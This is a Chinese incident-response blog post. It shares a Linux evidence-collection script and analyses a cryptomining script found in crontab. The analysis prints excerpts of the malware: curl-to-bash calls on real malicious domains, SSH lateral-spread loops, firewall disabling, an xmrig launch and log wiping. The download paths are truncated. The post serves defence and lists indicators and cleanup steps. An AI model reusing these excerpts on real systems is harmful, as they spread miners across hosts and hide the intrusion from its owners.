Linux应急响应笔记

gclome

原文链接：Linux应急响应笔记

背景

前一段时间我处理了一次应急响应，我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵，在前一次的基础上，这次应急做了一些自动化脚本，应急响应效率有了一定程度的提升，故另做一份笔记。

PS：本文重在分享应急响应经验，文中保留了恶意网址，但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析，严禁用于任何非法用途，违者后果自负。

应急操作笔记

查看我上一次 Linux应急响应笔记，我发现罗列这么多命令，很多时候眼花缭乱，操作起来也不方便，不如写个shell脚本自动化收集信息。

自动化信息收集

我的自动化手机信息的脚本如下，脚本的初衷是进行自动化信息收集，不需要我去连接到客户设备，提升操作/沟通效率。

1. #!/bin/bash
   
2. 
   
3. function initial(){
   
4.     echo "Doing initial"
   
5.     mkdir /tmp/GatherInfo   
   
6.     chmod +x ./chkrootkit
   
7.     chmod +x ./busybox
   
8. }
   
9. 
   
10. function chkrootkit_info(){
    
11.     echo "Doing chkrootkit"
    
12.     ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&1
    
13. }
    
14. 
    
15. function network_info(){
    
16.     echo "Gathering network info"
    
17.     netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1
    
18.     netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&1
    
19. }
    
20. 
    
21. function process_info(){
    
22.     echo "Gathering process info"
    
23.     ps aux > /tmp/GatherInfo/ps_aux.log 2>&1
    
24.     ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1
    
25.     top -n 1 > /tmp/GatherInfo/top_n1.log 2>&1
    
26. }
    
27. 
    
28. function init_info(){
    
29.     echo "Gathering init info"
    
30.     chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1
    
31.     ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1
    
32. }
    
33. 
    
34. function cron_info(){
    
35.     echo "Gathering cron info"
    
36.     cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1
    
37.     cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&1
    
38.     crontab -l > /tmp/GatherInfo/crontab_l.log 2>&1
    
39. 
    
40.     cd /etc/cron.d/
    
41.     cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1
    
42.     cd /etc/cron.daily/
    
43.     cat * > /tmp/GatherInfo/etc_daily.log 2>&1
    
44.     cd /etc/cron.hourly/
    
45.     cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
    
46.     cd /etc/cron.monthly/
    
47.     cat * > /tmp/GatherInfo/etc_monthly.log 2>&1
    
48.     cd /etc/cron.weekly/
    
49.     cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
    
50.     cd /var/spool/cron/
    
51.     cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
    
52.     cd /var/spool/anacron/
    
53.     cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1
    
54. }
    
55. 
    
56. function other_info(){
    
57.     echo "Gathering other info"
    
58.     cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1
    
59.     ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1
    
60.     ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1
    
61.     ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&1
    
62.     echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&1
    
63.     cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
    
64.     s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1
    
65.     cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&1
    
66. 
    
67.     for user in /home/*
    
68.     do
    
69.         if test -d $user;then
    
70.             cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1
    
71.         fi
    
72.     done
    
73. }
    
74. 
    
75. initial
    
76. chkrootkit_info
    
77. network_info
    
78. process_info
    
79. init_info
    
80. cron_info
    
81. other_info
    
82. 
    
83. cd /tmp
    
84. tar -zcvf GatherInfo.tar.gz GatherInfo

复制代码

信息收集结果分析
查看自动化收集的信息GatherInfo下的所有文件内容，根据下面的Checklist表项进行挨个梳理排查
应急响应检查表

​

​

在排查进程，网络时都未发现异常。在排查定时任务crontab时，发现三行异常的定时任务

1. 59 * * * * root (curl -fsSL http://t.amynx.com/ ......
   
2. 28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......
   
3. 13 * * * * root ps aux|grep lplp.ackng.com ......

复制代码

我把恶意脚本获取到本地，这是一个shell脚本，接下来分析看看这个脚本干什么恶意脚本分析

恶意脚本脚本共439行代码，前面300行都是删除文件和杀死进程，我简单摘要几段代码

1. #/bin/bash
   
2. processes(){
   
3.     killme() {
   
4.       killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
   
5.     }
   
6. 
   
7.     killa() {
   
8.     what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
   
9.     }
   
10. 
    
11.     killa 34e2fg
    
12.     killme
    
13. 
    
14.     killall \.Historys
    
15.     killall \.sshd
    
16.     killall neptune
    
17.     killall xm64
    
18.     killall xm32
    
19.     killall xmrig
    
20.     killall \.xmrig
    
21.     killall suppoieup
    
22. 
    
23.     # sshd
    
24.     ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
    
25.     while read sshdpid
    
26.     do
    
27.         if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
    
28.         then
    
29.             kill $sshdpid
    
30.         fi
    
31.     done < /tmp/ssdpid
    
32.     rm -f /tmp/ssdpid
    
33. 
    
34. # Removing miners by known path IOC
    
35. files(){
    
36.     ulimit -n 65535
    
37.     rm -rf /var/log/syslog
    
38.     chattr -iua /tmp/
    
39.     chattr -iua /var/tmp/
    
40.     chattr -R -i /var/spool/cron
    
41.     chattr -i /etc/crontab
    
42.     ufw disable
    
43.     iptables -F
    
44.     echo "nope" >/tmp/log_rot
    
45.     sudo sysctl kernel.nmi_watchdog=0
    
46.     echo '0' >/proc/sys/kernel/nmi_watchdog
    
47.     echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    
48.     rm /tmp/.cron
    
49.     rm /tmp/.main
    
50.     rm /tmp/.yam* -rf
    
51.     rm -f /tmp/irq
    
52. 
    
53. # Killing and blocking miners by network related IOC
    
54. network(){
    
55.     # Kill by known ports/IPs
    
56.     netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    
57.     netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    
58. 
    
59. files
    
60. processes
    
61. network
    
62. echo "DONE"

复制代码

接下来是下载恶意二进制程序以及ssh横向传播

1. 代码片段1
   
2. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
   
3.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ......
   
4. fi
   
5. 
   
6. 代码片段2
   
7. for file in /home/*
   
8. do
   
9.     if test -d $file; then
   
10.         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
    
11.             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done
    
12.         fi
    
13.     fi
    
14. done
    
15. 
    
16. 代码片段3
    
17.   for user in $userlist; do
    
18.     for host in $hostlist; do
    
19.       for key in $keylist; do
    
20.         for sshp in $sshports; do
    
21.           i=$((i+1))
    
22.           if [ "${i}" -eq "20" ]; then
    
23.             sleep 20
    
24.             ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
    
25.             i=0
    
26.           fi
    
27.           #Wait 20 seconds after every 20 attempts and clean up hanging processes
    
28. 
    
29.           chmod +r $key
    
30.           chmod 400 $key
    
31.           echo "$user@$host $key $sshp"
    
32.           ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &"
    
33.         done
    
34.       done
    
35.     done
    
36.   done

复制代码

上面这三段代码是通过ssh的证书登录方式横向感染传播。

1. if [ ! -d "/.Xll" ];then
   
2.     mkdir /.Xll
   
3. fi
   
4. cd /.Xll
   
5. if [ ! -f "./xr" ];then
   
6.     uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......
   
7. fi
   
8. uname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529

复制代码

上面这段代码是下载恶意二进制程序，应该就是挖矿病毒本体。

最后是清理痕迹

1. history -c
   
2. echo 0>/var/spool/mail/root
   
3. echo 0>/var/log/wtmp
   
4. echo 0>/var/log/secure
   
5. echo 0>/var/log/cron
   
6. echo > /root/.bash_history

复制代码

清理与恢复

根据恶意脚本的逻辑，整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录

总结与反思病毒标识

目录及文件 /.Xll 和 /.Xll/xr

进程表示 ps aux | grep lplp.ackng.com

两个域 t.amynx.com， t.jdjdcjq.top

挖矿威胁小于勒索

每次碰到病毒入侵要应急都心惊胆颤，挖矿病毒都还好，最坏情况是重装个环境，客户的数据是安全的，如果是勒索病毒就会很棘手。

无论如何，还是尽量保证系统安全性，减小系统入侵攻击面，这样可以极大保护系统不被入侵。

防护建议

一般来说，自动化的入侵一般都是利用非常简单的漏洞，比如若口令，使用存在漏洞的组件，未授权访问等，另外一个感染病毒的方式是ssh证书认证。如上文提到的，针对ssh横向传播就有三个方式，看来这种方式还是很受青睐的。所以对于厂商来说，还是要适当的控制ssh证书登入。

最后，我把上述用到的脚本和checklist放在https://github.com/kafroc/emergency-response-toolbox 中，有需要的读者可下载使用，欢迎任何的反馈意见。